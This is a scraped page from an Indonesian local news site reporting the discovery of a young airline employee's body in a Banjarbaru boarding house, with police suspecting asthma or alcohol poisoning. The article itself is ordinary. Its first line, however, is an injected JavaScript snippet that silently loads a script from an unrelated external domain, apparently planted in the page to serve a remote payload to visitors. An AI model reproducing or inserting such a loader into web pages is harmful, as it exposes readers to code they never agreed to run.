(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Warga dihebohkan dengan temuan sesosok mayat laki-laki di sebuah kost Jalan Angkasa RT 37 RW 008 No 25 Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin, Kota Banjarbaru, Sabtu (16/2) sekitar pukul 20.00 Wita.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kapolsek Banjarbaru Barat Kompol Syaiful Bob mengatakan korban bernama Rosyandi Abdul Rahman Latip Salili alias Yandi (28) yang berdomisili di jalan Sulawesi RT 040 No 32 Kelurahan Karang Rejo Kota Balikpapan, Kalimantan Timur.
“Korban merupakan karyawan swasta di Lion Air,” ujarnya kepada Kanalkalimantan.
Menurut keterangan saksi M Reza (21), kejadian ini pertama diketahui sekitar pukul 19.00 Wita saat dirinya diminta untuk mengecek kondisi Yandi oleh saksi lainnya yang tidak bisa menghubungi karena nomor HP tidak aktif.
Kemudian Reza melihat korban dengan cara mengintip bagian dinding kamar yang terdapat lobang. Tragisnya, Reza mendapati temannya itu telah terbujur kaku dengan kondisi badan membengkak dan membiru serta mengeluarkan aroma tidak sedap.
Lebih lanjut, Kompol Syaiful Bob menjelaskan, Yandi terakhir kali dilihat oleh pada hari Kamis (14/2) sekitar 22.00 Wita setelah acara makan ulang tahun rekannya.
“Menurut saksi korban memiliki riwayat penyakit asma dan pernah menggunakan alat bantu pernafasan,” kata Kapolsek Banjarbaru Barat.
Sekitar pukul 22.00 Wita, Polsek Banjarbaru Barat melakukan pendobrakan di kamar korban. Selanjutnya, sekitar pukul 22.30 Wita dilakukan identifikasi oleh Tim Inafis Polres Banjarbaru. Diketahui, dari hasil penyelidikan olah TKP tim Inafis berdasarkan kondisi mayat, diduga Yandi telah meninggal dunia sekitar 2 hingga 3 hari. Selain itu ditubuh Yandi tidak ditemukan tanda tanda kekerasan.
Kompol Syaiful Bob juga mengatakan di TKP juga ditemukan ditemukan berbagai macam obat-obatan, terutama obat asma. Ia menuturkan di dalam tas korban terdapat 4 botol minuman anggur merah yang telah kosong.
“Dugaan sementara kematian korban, disebabkan keracunan minuman beralkohol atau penyakit asma yang diderita,” pungkasnya.
Sekitar pukul 22.40 Wita, korban dibawa menuju RSUD Idaman Kota Banjarbaru oleh Ambulan BPK EKT serta Polsek Banjarbaru Barat untuk dilaksanakan Visum. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.